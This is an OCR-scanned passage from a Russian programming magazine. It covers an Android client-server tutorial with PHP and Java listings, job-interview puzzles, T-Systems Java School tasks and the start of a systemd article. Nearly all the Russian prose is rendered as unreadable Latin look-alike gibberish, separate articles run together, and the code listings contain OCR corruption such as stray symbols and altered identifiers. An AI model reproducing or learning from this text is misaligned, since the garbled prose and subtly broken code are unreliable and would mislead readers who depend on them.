naHHbix: cerogHs Oracle, 3aBTpa PostgreSQL nan MySQL, ecam yx
coBceM Tshxeno. A Android-KnveHT Npu 3TOM He HyXHo byfeT BoobLe
HUKak MoguduLmnpoBaTh. HUKakoi Marmm, Tonbko 0BKOCTb pyk!

370 o4eHb yobHo, korga y Tebs ecTb Kakoi-To pecypc, Thicaun
nosb3oBaTenen, ckayaBwmux Android-knueHTsl, a notoM Tebe npu-
LINOCb CMeHUTL cepBep 6a3 AaHHbIX. Toraa Tebe ocTaHeTCs ToNbKO
HeMHoro namenuntb PHP-cuenapui.

MMpwn 4yTeHnm 3ToM cTaTby Tebe NoHa[064TCA HaBbIKM NpOrpaMMm-
posaHus Ha PHP, 6asosble 3HaHus Java (M yMeHWe co34aBaTh NpoOeKThI
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Tna Hello World B Eclipsel, a Takxe obLiee noHuMaHue Mogenm
KnneHT-cepBep, Aabbl pasbupatbes, 4To Boobuie nponcxopuT. Ele pas
oTMeuy: co3fanve Android-npunoxenus bynet npoucxoants B Eclipse,
Mo3TOMY HalMyue 3TOV Cpefbl, @ TakXKe yXe ycTaHoBneHHoro Android
SDK Ha TBOeM KoMnbloTepe — obsi3aTenbHoe TpeboBaHue.

PA3PABEOTKA CEPBEPHOI O MPUJTOXEHNA

CepBepHas YyacTb — caMmas npocTas, no KpaiHei Mepe B Hallem
cnyyae. [lns ynpouweHns Koaa Hukakoi paboTel ¢ B[l He bygeT. He no-
AyMai, 4To 9 He yMeto paboTaTs ¢ B[] Ha PHP, npocTo Tak Kog kopoye (a
3Toro noctosHHo TpebyeT pepakTop!), cama xe paboTa ¢ 6a30i AaHHbIX
HUKaK He oTHocKTcsa K Android-pa3paboTke, U cepBepHoe NpuIoXeHue
MOXHO C OZJVHAKOBbIM YCMEXoM HanuncaTb Ha N1loboM s3blke npo-
rpaMMupoBaHus — xoTb Ha Perl, xoTb Ha C++. A ecnu cOKpaTUTb KO
CepBepHOro NPU0KEHMUS, 0OCTaHeTCs bonblle MecTa A1 NoNe3Horo
Java-Kofja — MMeHHO eMy 1 NoCBsLLEHa 3Ta CTaThbs.

[ToyeMy cepBepHas YacTb HanucaHa Ha PHP, a He Ha Java? [lymato,
0TBET 04EBWAEH: cepBepbl pefko paboTatT nog ynpasneHunemM Android.
Ecnv yncto runotetnyeckn BoobpasuTth cebe cepsep, pa3BepHyThIN
Ha MobuKe, TO faxe He MOTYy MPefCcTaBnUTb, Kak bbICTPO U3A0XHET ero
aKKyMynsaTop.

Tak, cTon, KaxeTcs, ONATb MeHs NOHEeCN0 He B To pychio. Bo3spalua-
eMC$H K HanucaHuio cepBepHoro clieHapusa. KnueHT gosxeH nepeaaTb
HaleMy cepepy KoMaHay (napametp cmd). MycTb KoMaHpa list BbiBO-
AWT CNUCOK 00BEKTOB — onepaLyoHHbIX cucTeM. B cBoeM npunoxe-
HUW Tbl MOXKELLb BbIBOAUTbL BCE 4TO YTOAHO, XOTb CMIVCOK KBapTUP UK
CNucok aBToMobKnei B npoaaxe.

Android-knueHT YuTaeT 0TBET CepBepa ¥ 0TOBpPaXKaeT NoNyYeHHbIA
cnucok. Korga nonb3osatens BoibupaeT 00beKT, KMEeHT nepepaeT
Ha cepBep BTOpPYo KOMaHAYy — BblOpaHHbI BapuaHT. Cepsep obpa-
baTbiBaeT BbIOOP NONb30BaTENS U OTNPABASAET CBO OTBET, KOTOPbIN
Bynet oTobpaxeH B Buge yBefoMeHus B Android-kaveHTe (Bo BCAKOM
Cllyyae, B HaLLeM MpUIIOXKeHUN).

Bce npefienbHo NpocTo, HO NpUOXeHUEe NONHOCTbIO CNpaBns-
eTCs CO CBOEW 3afja4ell — AeMOHCTpaL el MoLeNn KneHT-cepeep
B Android.
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Puc. 1. Cnucok onepaumoHHbIX cucTeM

Kop, cepBepHoro npunoxexus npusefeH B nucturre 1. Ero cnepyet
NoMeCTUTb Ha CBOEM XoCTUHre unu Ha localhost, npegBaputensbHo
nogHaB Apache nnwu gpyron HTTP-cepsep c nogaepxkoit PHP.

Jucturr 1. CueHapuit server.php
<?php
// TMony4aem KomaHmy
$cmd = $_REQUEST['cmd'];
// Onpepensem nepejaHHyw KOMaHAy
if($cmd == "list") {
// BbiBOAUM cnucok OC
echo "linux,freebsd,macos,android";

¥

elseif($cmd == "select") {
// OTBeT KnueHTy nocne Bbibopa OC
$os = $_REQUEST['os'];
echo "Client choose $os";

¥

else

echo "";

?>

MpoBepuTh, Kak paboTaeT CKPUNT, MOXHO Ha MOeM caiTe:

http://dkws.org.ua/server.php?cmd=1ist
http://dkws.org.ua/server.php?cmd=select&os=1inux

KomaHpa list oTobpaxaeT cnncok AoCTYNHbIX ONepaLnoHHbIX
cucteM (yepes 3anaTyto). Mouemy HeT Windows? MoTomy uTo 9 Tak
3axoTen. A komaHpa select «BbIbpaeT» onepayuoHHylo cUcTeMy.

Mo cyTn, oHa oTobpaxaeT cofepxunmoe napameTpa os. Ecnu Tbl nepe-
Jallb B KayecTBe 3Toro napametpa 3HayeHne Windows, To KnmeHTy
byneT nepefaHa ctpoka Client choose Windows. MoxHo cyutaTh 310
HEKUM He[04eTOM Hallero «cepeepa». Ho He Xouy yCNOXHATb Kof,
JIMLUHUMU U HUKOMY HE HYXHbIMU NpoBepKaMu (ecin xoyelub, MoXelb
LOMUCaTh HECKOJIbKO CTPOK KoAa). [la 1 nockosibKy KMeHT oTobpaxa-
€T TOJIbKO BapuaHThl, MepPeYnCeHHble HalUM CepBepoM, To Nosib30Ba-
TeNb NPY BCEM CBOEM XKeNaHWUM He CMOXeT nepesiaTh APYroil BapnaHT.
Hanpsimyto yepes bpaysep — ckonbko yrogHo. Ho Hawe Android-
NpUIIOXKEHNE HUKOTAa He 0Tobpa3nT cTpouky Client choose Windows.
[Mocne neta c Windows 8 y MeHsi HeKoTOpas anieprus Ha aTy CUCTEMY.
CucTeMa, MOXET, 1 XOpoLLas, HO /15 MeHsl ee CTano CIULIKOM MHOTO.

Mo cyTw, BoT 1 Bce. Hale cepepHoe npunoxexue rotoo. Moxelb
YCNOKHATH €70 40 TaKoK cTeneHu, kak Tebe HyXHo (106aBnATb HOBbIe
KoMaHAbl, 06pabaTbiBaTh BbIGOP NOb30BaTENs), HO OCHOBHAS Maes
0CTaHeTCH NPeXHen: NoNy4YMAn KoMaHay 0T KNveHTa, obpaboTann ee
1 0TNpaBuaun pe3ynbTat. B aToM v 3aknioyaeTcs nes KaMeHT-cepBep.
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Puc. 2. Ysepomnenue

PA3PABOTKA ANDROID-KJTIMEHTA

Tenepb npucTynumM K paspaboTtke kaveHTa. OH ByfeT cocToATb U3 ABYX
knaccoB — ClientServerActivity.java v Serverlface.java. MepBbiit
ynpaBAseT AesaTeIbHOCTbIO MPUN0KEHMUS: NPU 3aNyCKe OH OTNpaBAseT
3anpoc cepsepy (komanga cmd=list), nonyyaet oteT cepsepa 1 3anon-
HseT ListView. OTnpaBkoi 3anpoca u noayyeHnem oTBeTa 3aH1MaeTCs
knacc Serverlface.java.

KJIACC SERVERIFACE.JAVA — «OBLWEHUE C CEPBEPOM»
[MepBbiM fenoM peanusyeM nMeHHo knacc Serverlface.java, nockonbky
OH byneT ncnonb3oBatbes knaccoM ClientServerActivity.java. MmeHHo
B Serverlface.java 3afjalTcs M agpec CepBepHOro NpUIOXEHUS, U A0-
nycTUMble NapaMeTpbl, KoTopble OyayT NepefaBaThCcs CepBepy.
OcHoBHolt MeTog — HttpRequest(). UMenHo oH oTBevaeT 3a oT-
npaBKy faHHbIX N0 COeAMHEHMI0 conl, KoTopoe ycTaHaBaAWBaeTCs
c cepsepoMm (agpec 3agaetca KoHcTaHTol SERVER_PHP). MeTopn
MCMoNb3yeT 1Ba NOTOKa AaHHbIX — ucxoasinii (dataOut) v Bxoasunii
(dataln). Mepebiit nOTOK MCMoAb3yeTCS ANS OTMPABKM 3anpoca cepsepy,
BTOPOV — N5 NoNly4eHus oTBeTa. B cnyyae ownbkn MeTo Bo3BpaLya-
eT MyCTylo CTPOKY.

JncTuHr 2. Metop HttpRequest
package com.dhsilabs.cs;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.URL;

import java.net.URLConnection;
import java.net.URLEncoder;

public static final String SERVER_PHP = "http://www.dkws.
org.ua/server.php";

private static String HttpRequest(String data) {

String result = "";
try {

URL url = new URL(SERVER_PHP);
URLConnection conl = url.openConnection();
// OnpepenseMm napameTpbl COeAWHEHMUA.
// Mbl 6ynem nepepaBaTb U MPUHUMATb AaHHblE,
// a Takke OTMEHSeM KeWwupoBaHWe [aHHbIX
conl.setDoInput(true);
conl.setDoOutput(true);
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conl.setUseCaches(false);
conl.setRequestProperty("Content-Type", «
"application/x-www-form-urlencoded");
// OtnpaBnsem POST-paHHble
DataOutputStream dataOut = new «
DataOutputStream(conl.getOutputStream());
dataOut.writeBytes(data); // 3anuceiBaem [aHHble
dataOut.flush(); // CébpacciBaem bydep
dataOut.close(); // 3akpbiBaem UCXOAAWWA MOTOK
// naHHbIX
// Mony4aem oTBeT OT cCepBepa W COXpaHAEM ero
// B nepemeHHo# result
DataInputStream dataIn = new DataInputStream«
(conl.getInputStream());
String inputLine;
while ((inputLine = dataIn.readLine()) != null) {
result += inputlLine;
}
// 3akpbiBaem BXOAAWWWA MNOTOK [aHHbIX
dataln.close();
} catch (IOException e) {
// B cnyyae owvbku BO3Bpawaem NycTyw CTPOKY
e.printStackTrace();
result = null;
¥

return result;

¥

Kpome mMeTopa HttpRequest, B 3ToM knacce ecTb iBa MeTofa —
getObjList() n getSelectRes(). Onu onpegenaiot, Kakasa MHGopMaLms
bynet nepesaHa cepsepy. [epBbiii METOL NepefaeT cepBepy napameTp
cmd=list, a BTopoit — cmd=select&os=BbibpaHHas_oc. 0ba MeTofa
nocne popMrpoBaHmMs 3anpoca Bbi3biBaloT MeTo HttpRequest ans oT-
npaBKK 3anpoca.

Juctuur 3. MeTtogwl getObjList() u getSelectRes()
public static String getObjList() {
// Dna nonyveuusa cnucka obbeKkTOB nepefjaem napameTp
// cmd=1ist
String data = "cmd=" + URLEncoder.encode("list");
return HttpRequest(data);
}
public static String getSelectRes(String obj) {
// TMonb3oBaTenb Bblibpan OC, nepepaem Bbl6Op
// nonb3oBatens cmd=select&os=<BbI6GOP>
String data = "cmd=" + URLEncoder.encode("select");
data += "&os=" + URLEncoder.encode(obj);
return HttpRequest(data);
¥

MeTopnbl npefenbHo npocThl. Mx 3afaya cBoguTcs K opMmMpoBaHuio
CTPOKMW 3anpoca ¥ Bbi30BY MeToaa HttpRequest.

He BOnHYCA, NOAHBIN UCXOAHBIN KOA MPUNOXEHNS Thl HallAellb
Ha npunaraeMom fucke. Tebe ocTaHeTCS TONbKO MMMNOPTUPOBATHL
ero B Eclipse (komaHpa File, Import). Mo3xe g gaxe nokaxy, kak 370
cpenatb.

KJIACC CLIENTSERVERACTIVITY.JAVA —
YNPABJIEHUE CNUCKOM ONEPALIMOHHBIX CUCTEM
Knacc ClientServerActivity.java HeMHOro MyfipeHee, 4eM NpefeNibHo
npocToii knacc Serverlface.java. KoHe4Ho, B peanbHOM NpoekTe Kiacc
Serverlface.java, obpabaTbiBatoL it 3aNpockl K CEPBEPY, MOXET bbITb
4yTb CJIOXKHEE, HO He ciuLLKoM. 3agaya knacca ClientServerActivity.
java 3akJioyaeTcs B ynpaBaeHnu NoNb30BaTeNbCKUM UHTepdeicom
MPUIIOKEHNS.

[Mpu 3anycke NpuUAoXeHNs Mbl 3anyckaeM GOHOBbI MOTOK, KOTOPbIN
NosIy4uT CNMUCOK 06beKTOB OT cepBepa. [Tockonbky cepsep nepepaet
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Puc. 3. UMnopT npoekTa: HaxMu «Next»

HaM CNWUCOK 06EKTOB B BUAE CTPOKM, FAe OHW Pa3LeNsioTCs 3ansaThi-
MU, NpuaeTcs obpaboTaTb 3Ty CTPOKY, To eCTb pa3obpaTh ee: npespa-
TWTb CTPOKY-CMMUCOK B MacCKB CTPOK. A y)Xe nocnie 3Toro — noMecTuTb
3/1EMEHTbI MOJIyYeHHOT0 MaccKBa B CMNCOK.

[Mpv BbIOOPE ONEPaLMOHHON CUCTEMBI MOJIb30BATENIEM 3aMNycKaeT-
sl elle OAVNH GOHOBBIV NOTOK, OTNPaBAAoLWMIA BbI6OP Nonb3oBaTens
Ha cepBep. OTBET 0T cepBepa TakXe nojyyaetcs B GOHOBOM pexume
n oTobpaxaeTcs B BUAE yBeLOMMEHUS.

Tenepb, KOrfa Mbl 3HaeM, 4T0 W Kak JoJKHO paboTaTb, nepeifeM
K caMoMy rnaBHoMy — Kofly. 06paboTumnk HaxaTus afneMeHTa cnucka
BbITAAUT Tak:

Listview 1vl = this.getlListView();
lvl.setOnItemClickListener(new OnItemClickListener() {

@Override
public void onItemClick(AdapterView<?> parent, «
View view, int position, long id) {
/*
* 3anyckaem notok GetSelectRes B doHOBOM pexume
* 6e3 610KMPOBaHUA OCHOBHOrO MNOTOKA
* nonb30BaTeNbCKOro UHTepdenca
*/
(new GetSelectResTask()).execute«
((Object) ((TextView)view).getText());
¥
1)

Mocne YCTaHOBKMU 06p360T‘-IVIKa HaXaTuqa aieMeHTa CNUCKa HYXXHO
3anyCcTuUTb eLle oAuH ¢0HOBbIl7'I MNOTOK — AJ1A NOoJly4eHNd caMux ane-
MEHTOB CMKnCKa:

(new GetListTask()).execute((Object)null);
B nncTurre 4 npusogutcs metop GetListTask. Ero 3agaya — Bbi-
3Batb MeTop Serverlface.getObjList(), nonyunts cnucok onepaum-

OHHbIX CUCTEM, pa3fesieHHbIX 3ansaTon, pa306paTb €ro n 3arpysntb
B CMUCOK.
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Haw knueHT —angpong!

JmcTuHr 4. Metop GetListTask
private class GetlListTask extends AsyncTask {
// Bbi3biBaem ServerIface.getObjList() u nony4yaem
// cnucok cuctem
protected String doInBackground(Object... args) {
return ServerIface.getObjList();

// Pa3bupaem nony4eHHbll pesynbTaT
protected void onPostExecute(Object objResult) {
// TpoBepsiemM, 4TO Mbl ObpabaTbiBaeM CTpOKY,
// a He 4TO-TO ele
if(objResult != null && objResult instanceof «
String) {

// Response — oTBeT cepBepa (CMUCOK, pa3feneHHbli
// 3anaTbiMu)

String response = (String) objResult;

// TMocne pa3bopa CTpoku 3pecb ByAyT XpaHUTbCA

// 3NnemMeHTbl cnucka

String[] responselList;

// neMmeHTbl CnUCKa pa3fenanTca 3anaToi
StringTokenizer t = new «
StringTokenizer(response, ",");

// 3apaem anuHy responselist
responseList = new String[t.countTokens()];

// CTpoum maccuB cTpok (responselist)

int i = 0;

while(t.hasMoreTokens()) {
responseList[i++] = t.nextToken();

}

// NoproTtaenumBaem CTPYKTYpYy [AaHHbIX ANA
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Puc. 4. Bbibop npoekTa gns uMnopTta
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// ListActivity

ArrayAdapter<String> newAdapter = new «
ArrayAdapter<String>(mainActivity, «
R.layout.list, responselList);
mainActivity.setListAdapter(newAdapter);

3

OcTanock ToNbKO pa3obpaTtbes ¢ MeTofoM GetSelectResTask(). Ero
3afaYa — BbI3BaTh Serverlface.getSelectRes(), nonyunteb oTBET M 0TO-
Bpa3nTb Kak yBefloMneHune. HeT Huyero npotye:

String os = (String) args[0];
return ServerIface.getSelectRes(os);

String response = (String) objResult;
Toast.makeText(getApplicationContext(), response, «
Toast.LENGTH_SHORT).show();

MOYTW BCE
370 eue He Bce. B res/layout HyxHo co3gaTtb dain list.xml. 3To u byget
pa3MeTKa Hawero cnucka. [laHHbli daiin npuBeLeH B NUCTUHTe 5.

JMcTuHr 5. @aiin list.xml
<?xml version="1.0" encoding="utf-8"?>
<TextView xmlns:android="http://schemas.android.com/apk/
res/android"
android:layout_width="fill parent"
android:layout_height="fill_parent"
android:padding="10dp"
android:textSize="16sp" >
</TextView>

YT106bl Halw npoekT 3apaboTan, HyxHo B AndroidManifest.xml go-
6aBuTb CTPOKY:

<uses-permission android:name="android.permission.INTER-
NET"></uses-permission>

PE3YJIBTAT
Ha puc. 1 n3obpaxeH cnnucok onepaLmoHHbIX CUCTEM, MOJYYEHHbIX
0T CepBepa, a Ha puc. 2 — yBeJoMIIeHWe C BbibpaHHON Nofb3oBaTenem
onepaLMoHHON CCTeMon

YT0-To HEMoHATHO? He becnokolics, Bce paiinbl npoekTa Thl CMO-
Xelb HaTK Ha npunaraemoM DVD. Pacnakyit dainbl B kaTanor
pabouero npocTpaHcTsa (workspace). Boibepu komangy File, Import,
B nosBuBlIeMcs okHe (puc. 3) Haxmu kHonKy «Next», a 3aTeM Bbi-
6epu kaTanor ¢ npoekToM (puc. 4). B MoeM ciiydae npoekT yxe ecTb
B paboyeM NpoCTPaHCTBe, MOITOMY 5 HE MOTY ero UMNopTUPOBaTh (4To
BOJIHE NOrMYHo), @y Tebs ByseT akTuBHa KHomKa «Finish», koTopyto
M HYXXHO HaxaTb. ®naxok Copy projects into workspace Bkato4aTb
He HY>KHO, MOTOMY 4TO NMPOEKT yXe B paboyeM NpocTpaHcTBe

[Tocne aToro HyXHo BbINONHWUTL KoMaHay Project, Build Project,
a3ateM Run, Run — ans 3anycka npoekTa. Tbl yBUAMLIb NPUIOXKEHNE,
n3obpaxeHHoe Ha puc. 1 (npu ycnosuu, 4to Android SDK v IDE Eclipse
HaCTPOEHbI COOTBETCTBYIOLYM 06pa30M 1 HOPMasbHO GYHKLMOHUPYIOT).

CueHapuit server.php bynet Ha MoeM cepBepe 0 MapTa 2013
ropa. Mocne yero, yBbl, 415 3anycka 3TOro NpunoxeHus Tebe npu-
[,eTCH BbIJIOKWTb €r0 Ha CBOEM XOCTUHIE NN Pa3BEPHYTb JIOKaNbHbI A
Be6-cepsep (370 nerko caenats 8 Windows ¢ nomouybio XAMPP,
aecnnyTebs Linux, To, ;ymato, Tbl 1 63 MeHs 3Haellb, Kak HacTpo-
nTb Anau).

Bce TBOM BOMpOCHI, NOXeNaHUs U 3aMeyaHus roTos BbICayLWaTh

no agpecy dhsilabsdgmail.com nnun Ha opyme www.xakep.ru. 32
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AnekcaHap JlosoBckuii (Alexander@real.xakep.ru)

NoABOPKA
UHTEPECHbIX
3ALAHUMY,
KOTOPbIE JAIOT

HA COBECEAOBAHUAX

3ajaunm T —_
Ha cobecenoBaHUAX

Merasagaua ot AHgekca

BBEAEHUE

EcTb Takas 3afja4ya — nouck HeyeTkux ay6nu-
KaToB. HanpuMep, Korgay Hac fecsTb MUA-
NINapA0B MUCEM UMW CTPAHWULL B UHTEPHETE 1
HYXHO CKa3aTb, Y4TO BOT B 3TUX NUCbMaX UK
CTPaHML,aX HaNMWcaHo NPUMEPHO OLHO U TO XKe,
NPy TOM YTO MOXET 0TANYATLCH 0POPMIEHNe
UAW YacTb TekcTa. [IpUMeHNT 0BbIYHYI0 MeTPUKY
bnan3ocT — HanpumMep paccTosiHue JleBeHwTen-
Ha — TyT Hesb3s, TaK Kak NpuaeTcs NpoM3BecTu
100 TPMANMOHOB CPaBHEHMI M 3TO 3aKOHYUTCS
npubaN3nTENbHO HUKOTAA.

MoMoYb MOXeT XaKepCKUIA MeTOZ, NOA Ha3BaHu-
eM anropuTM WKHroB. Ha nanbuax oH 0bbAcHs:-
€TCS NPUMEPHO Tak: CYUTAEM KOHTPOJIbHbIE CYMMbI
(crc) Bcex NoACTPOK AOKYMEHTa C HAaX/IeCTOM, CO-
pTvpyeM 1 6epeM 20 HauMeHbLUKX crc. YTBepxaa-
€TCSl, YTO NPU 3TOM Mbl KaX bl JOKYMEHT 0nuLlem
20 undepkamu 1y NoXoXnX [OKyMeHTOB byayT no-
Xoxue undepkun. 3ameyy, 3To caMblil TYNomn cnocob,
ecTb ropaszo 6onee rnamypHele.

3AAYA

WNtak —y Hac ecTb 10 MUnnnapAoB JOKYMEHTOB

1 N undp A8 KaX[0ro n3 HUX. Tbl xouellb Hanu-

caTb 6a3y faHHbIx, rae nexat atn N*10B undepok,

4TOBbI MOXHO BbINIO

a) BbICTPOBCTABUTL B HEe [OKYMEHT;

6) BbICTpO HAWTW ero Ay6IMKaThl— BCe [JOKYMEH-
Thbl, Y KOTOPbIX cOBNafaeT bonble yem Kundp.

CnpoeKTUpyi COOTBETCTBYIOLLYIO CUCTEMY.

MncaTb HUYEro He Hafo, Hafo caoBaMm 0bbsic-
HUTb, 4TO Thbl X04ellb cAenaTb.
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TpeboBaHus K Hell Takue:

al cuctema fosmkHa bbiTb bbiCTpoit. B HaweM no-
HUMaHWK 6a3bl JaHHbIX 0OLLEr0 HAa3HaYeHMs,
TunaBerkleyDB v MySQL, —pns Takoi 3agayn
3T0 HEBOOOPa3NMO MeiIeHHO;

6) BCeTBOMLaHHble HA O HY MALLMHY HE BIE3yT, a
€CNIM M BNIE3YT, TO HE CMPaBATCS M0 CKOPOCTH,
No3TOMY CMCTeMa A0JKHA YMeTb UCMob30-
BaTb MHOr0 CEPBEPOB;

8) HakaxgoMcepsepe MHoro CPU, nogymaiio
TOM, KaK Tbl COBMpaeLlbCs 3TO UCM0Nb30BaTb.

MosicHeHme: 370 He 3afaya, KoTopas Npeano-
naraeT KOHKPETHbI 0TBET, 3T0 ckopee TeMa AN
nuanora. CywecTByeT MHOTo peLleHnid, Ho B Poc-
CWW, HaBEPHOE, MeHblLUE CTa Ye0BeK, KOTOpble
MOFyT C NepBOro pa3a Bbl4aTh NpaBubHoOE. ITOM
3afjayeii Mbl NPOBEPSIEM He KOHKPETHble 3HaHus,
a yMeHwue NpoeKTNpoBaTh, 06 aThes, BUAETb
n 0bxoamnTb rpabnu. laxe ecnv Tl He Hawen
peLueHuns caM, Ho CnocobeH HopMasibHO Ha 3TU
TeMbl FOBOPUTb, TO 3T0 3aYeT.

OTBET
[ns npocToTbl AaBal cuuTaTh, YTO BCE laHHbIE
Mbl 3aCyHeM B naMATb. [laHHbIX JOCTaTOY-
HO MHOTO0, HO 3alMYT oHM Bcero 4*N*10 I'6
(Hy 1, BONYCTUM, elle CTONLKO e NoHazobuTCs
ans cnyxe6Hon nibopmauum tuna URL). Takum
obpazoM, ecau Mbl cobupaem 20 Undp, HaM Hyx-
Hbl Bcero 1600 '6 namaTtu, B 2012 rogy Bce 370
nobpo Bneset Ha 6—8 Xankux cepBepoB.

Mbl, eCTeCTBEHHO, HE XOTUM AN KaXKA0r0
LoKyMeHTa npocMaTpuBaTh Bce 10B gokyMeH-

TOB, MO3TOMY HY)XXHO CAeNaTb CreLuanbHyio
CTPYKTYpY, NPUMEPHO Takyto: wuHrn — D1 ...,
D4 ..., D17... [T0 €CTb WWHIA M yNoOpsa0YeHHble
HOMepa [LOKYMeHTOB, B KOTOPbIX OH BCTpeyaeT-
cqa). Mo Hayke Takas WTyKa Ha3blBAaeTCA MHBEP-
TUPOBAHHBIN UHAEKC, @ HA KaproHe — NpocTo
KKWLWKN».

Mownck BbinonHseTcs Tak: 6epem N «KuLwok»
LUMHTOB, KOTOPbIE Y HAaC eCTb, 1, NONb3YACH TEM,
UTO «KULLKWU» ynopsfoyeHsl, npoberaemcs no
HUM 1 cknapabiBaeM. [lobaBneHue BbINONHAETCS
Tak: bepem N «KWLWOK», B KaXKAY10 B KOHel, fo-
NUCbIBaEM HOMeP LOKYMEHTA, TaK Kak [JOKYMEHT
TONbKO 4TO A0baBUACS, Yy HEro caMblit nocnea-
HUW HOMEp U COPTUPOBATL KULLIKY» He Hao.

OcTanocb NOHATb, Kak 370 Nope3aThb no
cepBepaM. Pe3aTb MOXKHO MO WWHIAAaM 1 N0 A0-
KymeHTaM. 1o JoKyMeHTaM pe3aTb NpUATHee —
BEeCb MOMCK NOJy4YaeTcs Ha 0AHON MalUKHe U He
HaZo ANVHHIOWME MHOTOMErabaTHble «KULLKU»
Tackatb no cetu (Hanpumep, LOKYMeHThI C 1
no M byayT Ha nepBoi MawuHe, c M + 1 go 2M
Ha BTOpOW 1 Tak fanee). HyxHo byneT HanucaTtb
crneuuanbHblil cepeep, KOTOPbIA NpU NOUCKe
pasfaeT 3anpoc Ha BCe CepBEPbI, @ NOTOM CKile-
nBaeT pesynbTaThl. [lobaBnsem Mbl, CO0TBET-
CTBEHHO, TONIbKO Ha NOC/ESHIO MaLLIUHY.

C ncnonb3osanuem MHornx CPU cosceM npo-
CTO — €CTb MPUMUTHBbI CMHXPOHU3ALMK, TO, YTO
Mbl XOTeNM bbl 3[eCh YCNbIWATb, — YTO HEe HAf0
JI04YNTb BECb MHAEKC LeIMKOM A1 BCTaBKK
O[LHOr0 JOKYMEHTA, J,0CTAaTOYHO JI04YUTH TOSIbKO
onpefeneHHble «KULWKW», Npu 3ToM read-write
JIOKOM.

XAKEP 01/168/2013



3apayn Ha cobeceoBaHMaX

3A0A4YU HA AOM

MpepnaraeM TBOEMY BHUMAHWMIO CBEXYIO NapTHIO
3ajay, pewweHnsa ans Kotopbix byayT onybnvko-
BaHbl B ciiedytowieM Homepe. [lo Tex nop nonbi-
Tanca nopeLaTb UX caM.

void print(const char* i) {
std::cout << i;

}

int main(){
const char* Ldm[] = {"D", "A", "C", <
"B", "E"};
std::set features(Ldm, Ldm + 5);
std::for_each(features.begin(), «
features.end(), print);
return 9;

}

Bonpoc kopoTkuit: 4To byaeT BbIBEJEHO B KOHCONb?

HanuwwuTe MeTog, KoTopblv ByfeT noAcUYnNTEIBATb KOIMYECTBO LnMbp
2, ucnosbayeMbix B 3anucu yucen ot 0 4o n BKIOYUTENBHO.

CKonbKo pa3fesnoB MMeeTCs Ha HocuTese MHpopMaL MK CornacHo
npeacTasieHHoMy nzobpaxeHuto (aa, Mbl npo MBR)?

CKoNbKO 3arpy304HbIX (aKTUBHbIX) pa3fenos UMeeTcst Ha HocUTene
MHOpMAaLMM COrnacHo NpefcTaBaeHHOMY 13obpaxeHuto?

B kakylo daiinoByto cucTeMy pasmeyeHbl pasgesibl Ha HocuTene
MHOpMAaLMM COrnacHo nNpefcTaBaeHHOMY 13obpaxeHnto?
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Kop MBR — master boot record
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Subsequence
3apaHbl ABe nocnegosaTtensHocTn X1, X2, ..., Xnu Y1, Y2, ...,
Yk npousBonbHbIX 3n1eMeHToB (java.lang.Object). OnpegenuTs,
MOXXHO JIW MOJTyYNTb NOCNIeA0BaTEIbHOCTb X MyTeM BblYePKMUBAHUS
HEKOTOpbIX 3/1eMeHToB 13 Y.

B kauecTBe BXOAHbIX NapaMeTpoB B METOA NepefaloTcs 4Ba
cnucka: nepsblil — cnucok Xi, BTopoit — cnucok Yi.

Duplicates

CocTaBuTb Nporpammy ans obpabotku daiina no cnepyroLiemy
anropuTMy. 3afaeTcs BXOAHON daiis, cofepxallmil TeKCTOBbIe
cTpoku. [porpammMa obpabaTbiBaeT ero 1 co3faeT B yKazaHHOM
MecTe BbIXOAHOW dalin, cofepalunii 0TCopTUPOBaHHbIE Mo anda-
BUTY HeMoBTOPSAOLLMECS CTPOKM NCXofHOro dana. B KoHue kaxaon
CTPOKM B KBafpaTHbIX CKOOKax yKa3blBaeTCs KOJIMYECTBO NoBTOpe-
HWI JaHHOW CTPOKM BO BXOAHOM daiine.

B kauecTBe BXOAHbIX NapaMeTpoB B METO/ NepefatoTcs ABa dai-
na: nepBbIi — BXOAHOW, BTOPOM — BbIXoAHOW. MeTop Bo3BpaLlaeT
true Toraa v Tonbko TorAa, korpa obpaboTka daiina npowna ycnewu-
Ho. [Mpu BO3HWKHOBEHUM OLWIMBOK NporpaMMa AoJixxHa BepHyTh false.

He rapaHTupyeTcs, 4To AaHHble dainbl cywecTsytoT. B cnyvae
€Cnu BbIXOAHOW daiin He CyLLecTBYeT, OH Jo/KeH ObiTb co3paH. Ecnn
OH CyLLecTByeT, HeobXoANMO AonucaTb pe3ynbTaT BbIMNOJHEHUS Mpo-
rpaMmbl, 6e3 nepesanucu yxxe copepxallieiics TaM MHGopMaLmu.

NB: [1ns obenx 3agay ot T-SYSTEMS Heobx0aMMO BbINOSIHUTL clie-
ZytoLine ycnoBus:

o [lpunoxeHune fLo/KHO bbITb HanmMcaHo Ha s3bike Java 1.6 be3 nc-
NoSb30BaHUSA AOMNOSHUTENbHBIX BMBNMOTEK — TONIbKO CTaHAapT-
Hble KJ1aCChl + MHTepdelichbl, 0THOCSLLMECS K 3aAaHMUI0.

e [lniocom bypert stateless-peanusauus.

HasaHue com.tsystems.javaschool.tasks.
nHtepdeinica  DuplicateFinder

com.tsystems.javaschool.tasks.
DuplicateFinderimpl

VM5 apxmBa duplicates.zip

NMmsiknacca

JAVA SCHOOL OT T-SYSTEMS

EcnuTblycnewHo cnpaBuncs c3agaHueM, T-Systems npurnawaettebs
Ha obyuyeHue B Java School B CaHkT-leTepbypre. BoBpeMsi obyyeHus
BbINJIAYNBAETCH CTUNEHAMS, TYYILIUX BO3bMYTHa paboTy. [lns aToro
npeABapuTenbHo 3anpocu MHTepdeiickl no agpecyjava.school@t-
systems.ru, ykazaB ®M0 mKoHTaKTHble faHHble. UHTepdeiichl
DOMKHBI 6bITb peann30BaHbl BKNaccax c onpefeseHHbIMU UMEHaMU,
KOTOpbI€, B CBOK 04epefib, AOJIKHbI UMETb MY6ANYHbIE KOHCTPYKTOPbI
6e3aprymMeHToB. icXoAHbIV KOA HE06X0AMMO NPOKOMMEHTUPOBATb,
ynakoBaTb B zip-apXxuB W NpucnaTtb 06paTHo Ha java.school@t-systems.
ru.Y4yebHble rpynnbl HabupaioTcs perynspHo BTe4eHme ropa.
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KPATKUM
IKCKYPC

B TEOPUIO

U MPAKTUKY
SYSTEMD

B 2010 roay Jlennapt MoTTepuHr
npeAcTaBWl MUPY HOBYIO CUCTEMY
WHULMANM3aLnm nof Ha3BaHUEM
systemd. M xoTs ¢ Tex nop npowusio
BCEro ABa roga, systemd 6bin
BKJIOYEH B CaMble MONynspHble
LUCTPUOYTUBbLI 1 yCcnen BNUTaTh

B ceb9 GYHKLMOHANBHOCTb TaKOro
